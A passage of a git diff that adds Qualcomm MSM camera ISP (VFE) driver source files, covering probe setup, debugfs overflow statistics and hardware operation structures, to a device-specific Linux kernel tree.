*client; + struct msm_isp_buf_ops *ops; + uint32_t buf_handle_cnt; + + struct msm_sd_req_vb2_q *vb2_ops; + + /*IOMMU specific*/ + int iommu_domain_num; + struct iommu_domain *iommu_domain; + + int num_iommu_ctx; + struct device *iommu_ctx[2]; + struct list_head buffer_q; +}; + +int msm_isp_create_isp_buf_mgr(struct msm_isp_buf_mgr *buf_mgr, + struct msm_sd_req_vb2_q *vb2_ops, struct msm_iova_layout *iova_layout); + +int msm_isp_proc_buf_cmd(struct msm_isp_buf_mgr *buf_mgr, + unsigned int cmd, void *arg); + +#endif /* _MSM_ISP_BUF_H_ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.c new file mode 100644 index 0000000000000..60273ac34f18d --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.c @@ -0,0 +1,312 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "msm_isp.h" +#include "msm_isp_util.h" +#include "msm_isp_axi_util.h" +#include "msm_isp_stats_util.h" +#include "msm_sd.h" +#include "msm_isp44.h" +#include "msm_isp40.h" +#include "msm_isp32.h" + +static struct msm_sd_req_vb2_q vfe_vb2_ops; + +static const struct of_device_id msm_vfe_dt_match[] = { + { + .compatible = "qcom,vfe44", + .data = &vfe44_hw_info, + }, + { + .compatible = "qcom,vfe40", + .data = &vfe40_hw_info, + }, + { + .compatible = "qcom,vfe32", + .data = &vfe32_hw_info, + }, + {} +}; + +MODULE_DEVICE_TABLE(of, msm_vfe_dt_match); + +static const struct platform_device_id msm_vfe_dev_id[] = { + {"msm_vfe32", (kernel_ulong_t) &vfe32_hw_info}, + {} +}; + +#define MAX_OVERFLOW_COUNTERS 15 +#define OVERFLOW_LENGTH 512 +#define OVERFLOW_BUFFER_LENGTH 32 +static struct msm_isp_buf_mgr vfe_buf_mgr; +static int msm_isp_enable_debugfs(struct msm_isp_statistics *stats); +static char *stats_str[MAX_OVERFLOW_COUNTERS] = { + "imgmaster0_overflow_cnt", + "imgmaster1_overflow_cnt", + "imgmaster2_overflow_cnt", + "imgmaster3_overflow_cnt", + "imgmaster4_overflow_cnt", + "imgmaster5_overflow_cnt", + "imgmaster6_overflow_cnt", + "be_overflow_cnt", + "bg_overflow_cnt", + "bf_overflow_cnt", + "awb_overflow_cnt", + "rs_overflow_cnt", + "cs_overflow_cnt", + "ihist_overflow_cnt", + "skinbhist_overflow_cnt", +}; + +static int vfe_debugfs_statistics_open(struct inode *inode, struct file *file) +{ + file->private_data = inode->i_private; + return 0; +} + +static ssize_t vfe_debugfs_statistics_read(struct file *t_file, char *t_char, + size_t t_size_t, loff_t *t_loff_t) +{ + int i; + char name[OVERFLOW_LENGTH] = {0}; + int *ptr; + char buffer[OVERFLOW_BUFFER_LENGTH] = {0}; + struct msm_isp_statistics *stats = (struct msm_isp_statistics *) + t_file->private_data; + ptr = (int *)stats; + + for (i = 0; i < MAX_OVERFLOW_COUNTERS; i++) { + strlcat(name, stats_str[i], sizeof(name)); + strlcat(name, " ", sizeof(name)); + snprintf(buffer, sizeof(buffer), "%d", ptr[i]); + strlcat(name, buffer, sizeof(name)); + strlcat(name, "\r\n", sizeof(name)); + } + return simple_read_from_buffer(t_char, t_size_t, + t_loff_t, name, strlen(name)); +} + +static ssize_t vfe_debugfs_statistics_write(struct file *t_file, + const char *t_char, size_t t_size_t, loff_t *t_loff_t) +{ + struct msm_isp_statistics *stats = (struct msm_isp_statistics *) + t_file->private_data; + memset(stats, 0, sizeof(struct msm_isp_statistics)); + + return sizeof(struct msm_isp_statistics); +} + +static const struct file_operations vfe_debugfs_error = { + .open = vfe_debugfs_statistics_open, + .read = vfe_debugfs_statistics_read, + .write = vfe_debugfs_statistics_write, +}; + +static int msm_isp_enable_debugfs(struct msm_isp_statistics *stats) +{ + struct dentry *debugfs_base; + debugfs_base = debugfs_create_dir("msm_isp", NULL); + if (!debugfs_base) + return -ENOMEM; + if (!debugfs_create_file("stats", S_IRUGO | S_IWUSR, debugfs_base, + stats, &vfe_debugfs_error)) + return -ENOMEM; + return 0; +} +static long msm_isp_subdev_do_ioctl( + struct file *file, unsigned int cmd, void *arg) +{ + struct video_device *vdev = video_devdata(file); + struct v4l2_subdev *sd = vdev_to_v4l2_subdev(vdev); + struct v4l2_fh *vfh = file->private_data; + + switch (cmd) { + case VIDIOC_DQEVENT: + if (!(sd->flags & V4L2_SUBDEV_FL_HAS_EVENTS)) + return -ENOIOCTLCMD; + + return v4l2_event_dequeue(vfh, arg, file->f_flags & O_NONBLOCK); + case VIDIOC_SUBSCRIBE_EVENT: + return v4l2_subdev_call(sd, core, subscribe_event, vfh, arg); + + case VIDIOC_UNSUBSCRIBE_EVENT: + return v4l2_subdev_call(sd, core, unsubscribe_event, vfh, arg); + + default: + return v4l2_subdev_call(sd, core, ioctl, cmd, arg); + } +} + +static long msm_isp_subdev_fops_ioctl(struct file *file, unsigned int cmd, + unsigned long arg) +{ + return video_usercopy(file, cmd, arg, msm_isp_subdev_do_ioctl); +} + +static struct v4l2_file_operations msm_isp_v4l2_subdev_fops = { +#ifdef CONFIG_COMPAT + .compat_ioctl = msm_isp_subdev_fops_ioctl, +#endif + .unlocked_ioctl = msm_isp_subdev_fops_ioctl +}; + +static int vfe_probe(struct platform_device *pdev) +{ + struct vfe_device *vfe_dev; + /*struct msm_cam_subdev_info sd_info;*/ + const struct of_device_id *match_dev; + int rc = 0; + + struct msm_iova_partition vfe_partition = { + .start = SZ_128K, + .size = SZ_2G - SZ_128K, + }; + struct msm_iova_layout vfe_layout = { + .partitions = &vfe_partition, + .npartitions = 1, + .client_name = "vfe", + .domain_flags = 0, + }; + + vfe_dev = kzalloc(sizeof(struct vfe_device), GFP_KERNEL); + if (!vfe_dev) { + pr_err("%s: no enough memory\n", __func__); + return -ENOMEM; + } + vfe_dev->stats = kzalloc(sizeof(struct msm_isp_statistics), GFP_KERNEL); + if (!vfe_dev->stats) { + pr_err("%s: no enough memory\n", __func__); + return -ENOMEM; + } + if (pdev->dev.of_node) { + of_property_read_u32((&pdev->dev)->of_node, + "cell-index", &pdev->id); + match_dev = of_match_device(msm_vfe_dt_match, &pdev->dev); + if (!match_dev) { + pr_err("%s: No vfe hardware info\n", __func__); + return -EINVAL; + } + vfe_dev->hw_info = + (struct msm_vfe_hardware_info *) match_dev->data; + } else { + vfe_dev->hw_info = (struct msm_vfe_hardware_info *) + platform_get_device_id(pdev)->driver_data; + } + + if (!vfe_dev->hw_info) { + pr_err("%s: No vfe hardware info\n", __func__); + return -EINVAL; + } + ISP_DBG("%s: device id = %d\n", __func__, pdev->id); + + vfe_dev->pdev = pdev; + rc = vfe_dev->hw_info->vfe_ops.core_ops.get_platform_data(vfe_dev); + if (rc < 0) { + pr_err("%s: failed to get platform resources\n", __func__); + kfree(vfe_dev); + return -ENOMEM; + } + + INIT_LIST_HEAD(&vfe_dev->tasklet_q); + INIT_LIST_HEAD(&vfe_dev->tasklet_regupdate_q); + tasklet_init(&vfe_dev->vfe_tasklet, + msm_isp_do_tasklet, (unsigned long)vfe_dev); + + v4l2_subdev_init(&vfe_dev->subdev.sd, vfe_dev->hw_info->subdev_ops); + vfe_dev->subdev.sd.internal_ops = + vfe_dev->hw_info->subdev_internal_ops; + snprintf(vfe_dev->subdev.sd.name, + ARRAY_SIZE(vfe_dev->subdev.sd.name), + "vfe"); + vfe_dev->subdev.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + vfe_dev->subdev.sd.flags |= V4L2_SUBDEV_FL_HAS_EVENTS; + v4l2_set_subdevdata(&vfe_dev->subdev.sd, vfe_dev); + platform_set_drvdata(pdev, &vfe_dev->subdev.sd); + mutex_init(&vfe_dev->realtime_mutex); + mutex_init(&vfe_dev->core_mutex); + spin_lock_init(&vfe_dev->tasklet_lock); + spin_lock_init(&vfe_dev->shared_data_lock); + media_entity_init(&vfe_dev->subdev.sd.entity, 0, NULL, 0); + vfe_dev->subdev.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + vfe_dev->subdev.sd.entity.group_id = MSM_CAMERA_SUBDEV_VFE; + vfe_dev->subdev.sd.entity.name = pdev->name; + vfe_dev->subdev.close_seq = MSM_SD_CLOSE_1ST_CATEGORY | 0x2; + rc = msm_sd_register(&vfe_dev->subdev); + if (rc != 0) { + pr_err("%s: msm_sd_register error = %d\n", __func__, rc); + kfree(vfe_dev); + goto end; + } + + msm_isp_v4l2_subdev_fops.owner = v4l2_subdev_fops.owner; + msm_isp_v4l2_subdev_fops.open = v4l2_subdev_fops.open; + msm_isp_v4l2_subdev_fops.release = v4l2_subdev_fops.release; + msm_isp_v4l2_subdev_fops.poll = v4l2_subdev_fops.poll; + + vfe_dev->subdev.sd.devnode->fops = &msm_isp_v4l2_subdev_fops; + + vfe_dev->buf_mgr = &vfe_buf_mgr; + v4l2_subdev_notify(&vfe_dev->subdev.sd, + MSM_SD_NOTIFY_REQ_CB, &vfe_vb2_ops); + rc = msm_isp_create_isp_buf_mgr(vfe_dev->buf_mgr, + &vfe_vb2_ops, &vfe_layout); + if (rc < 0) { + pr_err("%s: Unable to create buffer manager\n", __func__); + kfree(vfe_dev); + return -EINVAL; + } + msm_isp_enable_debugfs(vfe_dev->stats); + vfe_dev->buf_mgr->ops->register_ctx(vfe_dev->buf_mgr, + &vfe_dev->iommu_ctx[0], vfe_dev->hw_info->num_iommu_ctx); + vfe_dev->vfe_open_cnt = 0; +end: + return rc; +} + +static struct platform_driver vfe_driver = { + .probe = vfe_probe, + .driver = { + .name = "msm_vfe", + .owner = THIS_MODULE, + .of_match_table = msm_vfe_dt_match, + }, + .id_table = msm_vfe_dev_id, +}; + +static int __init msm_vfe_init_module(void) +{ + return platform_driver_register(&vfe_driver); +} + +static void __exit msm_vfe_exit_module(void) +{ + platform_driver_unregister(&vfe_driver); +} + +module_init(msm_vfe_init_module); +module_exit(msm_vfe_exit_module); +MODULE_DESCRIPTION("MSM VFE driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.h new file mode 100644 index 0000000000000..50688b61c3d58 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.h @@ -0,0 +1,539 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __MSM_VFE_H__ +#define __MSM_VFE_H__ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "msm_buf_mgr.h" + +#define VFE40_8974V1_VERSION 0x10000018 +#define VFE40_8974V2_VERSION 0x1001001A +#define VFE40_8974V3_VERSION 0x1001001B +#define VFE40_8x26_VERSION 0x20000013 +#define VFE40_8x26V2_VERSION 0x20010014 +#define VFE40_8916_VERSION 0x10030000 + +#define MAX_IOMMU_CTX 2 +#define MAX_NUM_WM 7 +#define MAX_NUM_RDI 3 +#define MAX_NUM_RDI_MASTER 3 +#define MAX_NUM_COMPOSITE_MASK 4 +#define MAX_NUM_STATS_COMP_MASK 2 +#define MAX_INIT_FRAME_DROP 31 +#define ISP_Q2 (1 << 2) + +#define AVTIMER_MSW_PHY_ADDR 0xFE05300C +#define AVTIMER_LSW_PHY_ADDR 0xFE053008 +#define AVTIMER_MSW_PHY_ADDR_8916 0x7706010 +#define AVTIMER_LSW_PHY_ADDR_8916 0x770600C +#define AVTIMER_MODE_CTL_PHY_ADDR_8916 0x7706040 +/*AVTimer h/w is configured to generate 27Mhz ticks*/ +#define AVTIMER_TICK_SCALER_8916 27 +#define AVTIMER_ITERATION_CTR 16 + +#define VFE_PING_FLAG 0xFFFFFFFF +#define VFE_PONG_FLAG 0x0 + +#define VFE_MAX_CFG_TIMEOUT 3000 +#define VFE_CLK_INFO_MAX 16 +#define STATS_COMP_BIT_MASK 0xFF0000 + +struct vfe_device; +struct msm_vfe_axi_stream; +struct msm_vfe_stats_stream; + +struct vfe_subscribe_info { + struct v4l2_fh *vfh; + uint32_t active; +}; + +enum msm_isp_pack_fmt { + QCOM, + MIPI, + DPCM6, + DPCM8, + PLAIN8, + PLAIN16, + MAX_ISP_PACK_FMT, +}; + +enum msm_isp_camif_update_state { + NO_UPDATE, + ENABLE_CAMIF, + DISABLE_CAMIF, + DISABLE_CAMIF_IMMEDIATELY +}; + +enum msm_isp_reset_type { + ISP_RST_HARD, + ISP_RST_SOFT, + ISP_RST_MAX +}; + +struct msm_isp_timestamp { + /*Monotonic clock for v4l2 buffer*/ + struct timeval buf_time; + /*Monotonic clock for VT */ + struct timeval vt_time; + /*Wall clock for userspace event*/ + struct timeval event_time; +}; + +struct msm_vfe_irq_ops { + void (*read_irq_status) (struct vfe_device *vfe_dev, + uint32_t *irq_status0, uint32_t *irq_status1); + void (*process_reg_update) (struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts); + void (*process_reset_irq) (struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1); + void (*process_halt_irq) (struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1); + void (*process_camif_irq) (struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts); + void (*process_axi_irq) (struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts); + void (*process_stats_irq) (struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts); +}; + +struct msm_vfe_axi_ops { + void (*reload_wm) (struct vfe_device *vfe_dev, + uint32_t reload_mask); + void (*enable_wm) (struct vfe_device *vfe_dev, + uint8_t wm_idx, uint8_t enable); + int32_t (*cfg_io_format) (struct vfe_device *vfe_dev, + enum msm_vfe_axi_stream_src stream_src, + uint32_t io_format); + void (*cfg_framedrop) (struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info); + void (*clear_framedrop) (struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info); + void (*cfg_comp_mask) (struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info); + void (*clear_comp_mask) (struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info); + void (*cfg_wm_irq_mask) (struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info); + void (*clear_wm_irq_mask) (struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info); + + void (*cfg_wm_reg) (struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, + uint8_t plane_idx); + void (*clear_wm_reg) (struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx); + + void (*cfg_wm_xbar_reg) (struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, + uint8_t plane_idx); + void (*clear_wm_xbar_reg) (struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx); + + void (*cfg_ub) (struct vfe_device *vfe_dev); + + void (*update_ping_pong_addr) (struct vfe_device *vfe_dev, + uint8_t wm_idx, uint32_t pingpong_status, dma_addr_t paddr); + + uint32_t (*get_wm_mask) (uint32_t irq_status0, uint32_t irq_status1); + uint32_t (*get_comp_mask) (uint32_t irq_status0, uint32_t irq_status1); + uint32_t (*get_pingpong_status) (struct vfe_device *vfe_dev); + long (*halt) (struct vfe_device *vfe_dev, uint32_t blocking); +}; + +struct msm_vfe_core_ops { + void (*reg_update) (struct vfe_device *vfe_dev); + long (*reset_hw) (struct vfe_device *vfe_dev, + enum msm_isp_reset_type reset_type, + uint32_t blocking); + int (*init_hw) (struct vfe_device *vfe_dev); + void (*init_hw_reg) (struct vfe_device *vfe_dev); + void (*release_hw) (struct vfe_device *vfe_dev); + void (*cfg_camif) (struct vfe_device *vfe_dev, + struct msm_vfe_pix_cfg *pix_cfg); + void (*update_camif_state) (struct vfe_device *vfe_dev, + enum msm_isp_camif_update_state update_state); + void (*cfg_rdi_reg) (struct vfe_device *vfe_dev, + struct msm_vfe_rdi_cfg *rdi_cfg, + enum msm_vfe_input_src input_src); + int (*get_platform_data) (struct vfe_device *vfe_dev); + void (*get_error_mask) (uint32_t *error_mask0, uint32_t *error_mask1); + void (*process_error_status) (struct vfe_device *vfe_dev); + void (*get_overflow_mask) (uint32_t *overflow_mask); + void (*get_irq_mask) (struct vfe_device *vfe_dev, + uint32_t *irq0_mask, uint32_t *irq1_mask); + void (*restore_irq_mask) (struct vfe_device *vfe_dev); + void (*get_halt_restart_mask) (uint32_t *irq0_mask, + uint32_t *irq1_mask); + void (*init_vbif_counters) (struct vfe_device *vfe_dev); + void (*vbif_clear_counters) (struct vfe_device *vfe_dev); + void (*vbif_read_counters) (struct vfe_device *vfe_dev); + int (*get_regupdate_status) (uint32_t irq_status0, + uint32_t irq1_mask); +}; +struct msm_vfe_stats_ops { + int (*get_stats_idx) (enum msm_isp_stats_type stats_type); + int (*check_streams) (struct msm_vfe_stats_stream *stream_info); + void (*cfg_framedrop) (struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info); + void (*clear_framedrop) (struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info); + void (*cfg_comp_mask) (struct vfe_device *vfe_dev, + uint32_t stats_mask, uint8_t enable); + void (*cfg_wm_irq_mask) (struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info); + void (*clear_wm_irq_mask) (struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info); + + void (*cfg_wm_reg) (struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info); + void (*clear_wm_reg) (struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info); + + void (*cfg_ub) (struct vfe_device *vfe_dev); + + void (*enable_module) (struct vfe_device *vfe_dev, + uint32_t stats_mask, uint8_t enable); + + void (*update_ping_pong_addr) (struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info, + uint32_t pingpong_status, dma_addr_t paddr); + + uint32_t (*get_frame_id) (struct vfe_device *vfe_dev); + uint32_t (*get_wm_mask) (uint32_t irq_status0, uint32_t irq_status1); + uint32_t (*get_comp_mask) (uint32_t irq_status0, uint32_t irq_status1); + uint32_t (*get_pingpong_status) (struct vfe_device *vfe_dev); +}; + +struct msm_vfe_ops { + struct msm_vfe_irq_ops irq_ops; + struct msm_vfe_axi_ops axi_ops; + struct msm_vfe_core_ops core_ops; + struct msm_vfe_stats_ops stats_ops; +}; + +struct msm_vfe_hardware_info { + int num_iommu_ctx; + int vfe_clk_idx; + struct msm_vfe_ops vfe_ops; + struct msm_vfe_axi_hardware_info *axi_hw_info; + struct msm_vfe_stats_hardware_info *stats_hw_info; + struct v4l2_subdev_internal_ops *subdev_internal_ops; + struct v4l2_subdev_ops *subdev_ops; + uint32_t dmi_reg_offset; +}; + +struct msm_vfe_axi_hardware_info { + uint8_t num_wm; + uint8_t num_rdi; + uint8_t num_rdi_master; + uint8_t num_comp_mask; + uint32_t min_wm_ub; +}; + +enum msm_vfe_axi_state { + AVALIABLE, + INACTIVE, + ACTIVE, + PAUSED, + START_PENDING, + STOP_PENDING, + PAUSE_PENDING, + RESUME_PENDING, + STARTING, + STOPPING, + PAUSING, + RESUMING, +}; + +enum msm_vfe_axi_cfg_update_state { + NO_AXI_CFG_UPDATE, + APPLYING_UPDATE_RESUME, + UPDATE_REQUESTED, +}; + +#define VFE_NO_DROP 0xFFFFFFFF +#define VFE_DROP_EVERY_2FRAME 0x55555555 +#define VFE_DROP_EVERY_4FRAME 0x11111111 +#define VFE_DROP_EVERY_8FRAME 0x01010101 +#define VFE_DROP_EVERY_16FRAME 0x00010001 +#define VFE_DROP_EVERY_32FRAME 0x00000001 + +enum msm_vfe_axi_stream_type { + CONTINUOUS_STREAM, + BURST_STREAM, +}; + +struct msm_vfe_axi_stream { + uint32_t frame_id; + enum msm_vfe_axi_state state; + enum msm_vfe_axi_stream_src stream_src; + uint8_t num_planes; + uint8_t wm[MAX_PLANES_PER_STREAM]; + uint32_t output_format;/*Planar/RAW/Misc*/ + struct msm_vfe_axi_plane_cfg plane_cfg[MAX_PLANES_PER_STREAM]; + uint8_t comp_mask_index; + struct msm_isp_buffer *buf[2]; + uint32_t session_id; + uint32_t stream_id; + uint32_t bufq_handle; + uint32_t bufq_scratch_handle; + uint32_t stream_handle; + uint32_t request_frm_num; + uint8_t buf_divert; + enum msm_vfe_axi_stream_type stream_type; + uint32_t vt_enable; + uint32_t frame_based; + uint32_t framedrop_period; + uint32_t framedrop_pattern; + uint32_t num_burst_capture;/*number of frame to capture*/ + uint32_t init_frame_drop; + uint32_t burst_frame_count;/*number of sof before burst stop*/ + uint8_t framedrop_update; + spinlock_t lock; + + /*Bandwidth calculation info*/ + uint32_t max_width; + /*Based on format plane size in Q2. e.g NV12 = 1.5*/ + uint32_t format_factor; + uint32_t bandwidth; + + /*Run time update variables*/ + uint32_t runtime_init_frame_drop; + uint32_t runtime_burst_frame_count;/*number of sof before burst stop*/ + uint32_t runtime_num_burst_capture; + uint8_t runtime_framedrop_update; + uint32_t runtime_output_format; + enum msm_vfe_frame_skip_pattern frame_skip_pattern; + +}; + +enum msm_vfe_overflow_state { + NO_OVERFLOW, + OVERFLOW_DETECTED, + HALT_REQUESTED, + RESTART_REQUESTED, +}; + +struct msm_vfe_axi_composite_info { + uint32_t stream_handle; + uint32_t stream_composite_mask; +}; + +struct msm_vfe_src_info { + uint32_t frame_id; + uint8_t active; + uint8_t pix_stream_count; + uint8_t raw_stream_count; + enum msm_vfe_inputmux input_mux; + uint32_t width; + long pixel_clock; + uint32_t session_id; + uint32_t input_format;/*V4L2 pix format with bayer pattern*/ + uint32_t last_updt_frm_id; +}; + +enum msm_wm_ub_cfg_type { + MSM_WM_UB_CFG_DEFAULT, + MSM_WM_UB_EQUAL_SLICING, + MSM_WM_UB_CFG_MAX_NUM +}; +#define MAX_SESSIONS 5 +struct msm_vfe_axi_shared_data { + struct msm_vfe_axi_hardware_info *hw_info; + struct msm_vfe_axi_stream stream_info[MAX_NUM_STREAM]; + uint32_t free_wm[MAX_NUM_WM]; + uint32_t wm_image_size[MAX_NUM_WM]; + enum msm_wm_ub_cfg_type wm_ub_cfg_policy; + uint8_t num_used_wm; + uint8_t num_active_stream; + struct msm_vfe_axi_composite_info + composite_info[MAX_NUM_COMPOSITE_MASK]; + uint8_t num_used_composite_mask; + uint32_t stream_update; + atomic_t axi_cfg_update; + enum msm_isp_camif_update_state pipeline_update; + struct msm_vfe_src_info src_info[VFE_SRC_MAX]; + uint16_t stream_handle_cnt; + uint16_t current_frame_src_mask[MAX_SESSIONS]; + uint16_t session_frame_src_mask[MAX_SESSIONS]; + unsigned int frame_id[MAX_SESSIONS]; + uint32_t event_mask; + uint32_t burst_len; +}; + +struct msm_vfe_stats_hardware_info { + uint32_t stats_capability_mask; + uint8_t *stats_ping_pong_offset; + uint8_t num_stats_type; + uint8_t num_stats_comp_mask; +}; + +enum msm_vfe_stats_state { + STATS_AVALIABLE, + STATS_INACTIVE, + STATS_ACTIVE, + STATS_START_PENDING, + STATS_STOP_PENDING, + STATS_STARTING, + STATS_STOPPING, +}; + +struct msm_vfe_stats_stream { + uint32_t session_id; + uint32_t stream_id; + uint32_t stream_handle; + uint32_t composite_flag; + enum msm_isp_stats_type stats_type; + enum msm_vfe_stats_state state; + uint32_t framedrop_pattern; + uint32_t framedrop_period; + uint32_t irq_subsample_pattern; + + uint32_t buffer_offset; + struct msm_isp_buffer *buf[2]; + uint32_t bufq_handle; +}; + +struct msm_vfe_stats_shared_data { + struct msm_vfe_stats_stream stream_info[MSM_ISP_STATS_MAX]; + uint8_t num_active_stream; + atomic_t stats_comp_mask[MAX_NUM_STATS_COMP_MASK]; + uint16_t stream_handle_cnt; + atomic_t stats_update; + uint32_t stats_mask; + uint32_t stats_burst_len; +}; + +struct msm_vfe_tasklet_queue_cmd { + struct list_head list; + uint32_t vfeInterruptStatus0; + uint32_t vfeInterruptStatus1; + struct msm_isp_timestamp ts; + uint8_t cmd_used; +}; + +#define MSM_VFE_TASKLETQ_SIZE 200 + +struct msm_vfe_error_info { + atomic_t overflow_state; + uint32_t overflow_recover_irq_mask0; + uint32_t overflow_recover_irq_mask1; + uint32_t error_mask0; + uint32_t error_mask1; + uint32_t violation_status; + uint32_t camif_status; + uint32_t stream_framedrop_count[MAX_NUM_STREAM]; + uint32_t stats_framedrop_count[MSM_ISP_STATS_MAX]; + uint32_t info_dump_frame_count; + uint32_t error_count; +}; + +struct msm_isp_statistics { + int32_t imagemaster0_overflow; + int32_t imagemaster1_overflow; + int32_t imagemaster2_overflow; + int32_t imagemaster3_overflow; + int32_t imagemaster4_overflow; + int32_t imagemaster5_overflow; + int32_t imagemaster6_overflow; + int32_t be_overflow; + int32_t bg_overflow; + int32_t bf_overflow; + int32_t awb_overflow; + int32_t rs_overflow; + int32_t cs_overflow; + int32_t ihist_overflow; + int32_t skinbhist_overflow; +}; + +struct msm_vbif_cntrs { + int previous_write_val; + int vfe_total_iter; + int fb_err_lvl; + int total_vbif_cnt_2; +}; + +struct vfe_device { + struct platform_device *pdev; + struct msm_sd_subdev subdev; + struct resource *vfe_irq; + struct resource *vfe_mem; + struct resource *vfe_vbif_mem; + struct resource *vfe_io; + struct resource *vfe_vbif_io; + void __iomem *vfe_base; + void __iomem *vfe_vbif_base; + + struct device *iommu_ctx[MAX_IOMMU_CTX]; + + struct regulator *fs_vfe; + struct clk *vfe_clk[7]; + uint32_t num_clk; + + uint32_t bus_perf_client; + + struct completion reset_complete; + struct completion halt_complete; + struct completion stream_config_complete; + struct completion stats_config_complete; + struct mutex realtime_mutex; + struct mutex core_mutex; + + atomic_t irq_cnt; + atomic_t reg_update_cnt; + uint8_t taskletq_idx; + uint8_t taskletq_reg_update_idx; + spinlock_t tasklet_lock; + spinlock_t shared_data_lock; + struct list_head tasklet_q; + struct list_head tasklet_regupdate_q; + struct tasklet_struct vfe_tasklet; + struct msm_vfe_tasklet_queue_cmd + tasklet_queue_cmd[MSM_VFE_TASKLETQ_SIZE]; + struct msm_vfe_tasklet_queue_cmd + tasklet_regupdate_queue_cmd[MSM_VFE_TASKLETQ_SIZE]; + uint32_t vfe_hw_version; + struct msm_vfe_hardware_info *hw_info; + struct msm_vfe_axi_shared_data axi_data; + struct msm_vfe_stats_shared_data stats_data; + struct msm_vfe_error_info error_info; + struct msm_isp_buf_mgr *buf_mgr; + int dump_reg; + int vfe_clk_idx; + uint32_t vfe_open_cnt; + uint8_t vt_enable; + void __iomem *p_avtimer_msw; + void __iomem *p_avtimer_lsw; + void __iomem *p_avtimer_ctl; + uint8_t avtimer_scaler; + uint8_t ignore_error; + struct msm_isp_statistics *stats; + struct msm_vbif_cntrs vbif_cntrs; + uint32_t vfe_ub_size; +}; + +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.c new file mode 100644 index 0000000000000..9b854e3af535b --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.c @@ -0,0 +1,1317 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include + +#include "msm_isp32.h" +#include "msm_isp_util.h" +#include "msm_isp_axi_util.h" +#include "msm_isp_stats_util.h" +#include "msm_isp.h" +#include "msm.h" +#include "msm_camera_io_util.h" + +#define VFE32_BURST_LEN 2 +#define VFE32_UB_SIZE 1024 +#define VFE32_EQUAL_SLICE_UB 194 +#define VFE32_AXI_SLICE_UB 792 +#define VFE32_WM_BASE(idx) (0x4C + 0x18 * idx) +#define VFE32_RDI_BASE(idx) (idx ? 0x734 + 0x4 * (idx - 1) : 0x06FC) +#define VFE32_XBAR_BASE(idx) (0x40 + 0x4 * (idx / 4)) +#define VFE32_XBAR_SHIFT(idx) ((idx % 4) * 8) +#define VFE32_PING_PONG_BASE(wm, ping_pong) \ + (VFE32_WM_BASE(wm) + 0x4 * (1 + (~(ping_pong >> wm) & 0x1))) + +static uint8_t stats_pingpong_offset_map[] = { + 7, 8, 9, 10, 11, 12, 13}; + +#define VFE32_NUM_STATS_TYPE 7 +#define VFE32_STATS_BASE(idx) (0xF4 + 0xC * idx) +#define VFE32_STATS_PING_PONG_BASE(idx, ping_pong) \ + (VFE32_STATS_BASE(idx) + 0x4 * \ + (~(ping_pong >> (stats_pingpong_offset_map[idx])) & 0x1)) + +#define VFE32_CLK_IDX 0 +#define 